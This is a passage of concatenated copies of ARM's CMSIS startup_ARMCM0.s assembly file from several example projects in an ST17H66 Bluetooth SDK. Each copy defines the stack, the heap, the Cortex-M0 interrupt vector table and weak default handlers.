EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,655	ST17H66_SDK_3.0.9/example/peripheral/dmac/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000c00 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,655	ST17H66_SDK_3.0.9/example/peripheral/adc_manual_mode/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	8,659	ST17H66_SDK_3.0.9/example/peripheral/bsp_btn/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V5.00 ; * @date 02. March 2016 ; *****************************************************************************/ ;/ ; * Copyright (c) 2009-2016 ARM Limited. All rights reserved. ; * ; * SPDX-License-Identifier: Apache-2.0 ; * ; * Licensed under the Apache License, Version 2.0 (the License); you may ; * not use this file except in compliance with the License. ; * You may obtain a copy of the License at ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Unless required by applicable law or agreed to in writing, software ; * distributed under the License is distributed on an AS IS BASIS, WITHOUT ; * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; * See the License for the specific language governing permissions and ; * limitations under the License. ; / ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,655	ST17H66_SDK_3.0.9/example/peripheral/adc/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler 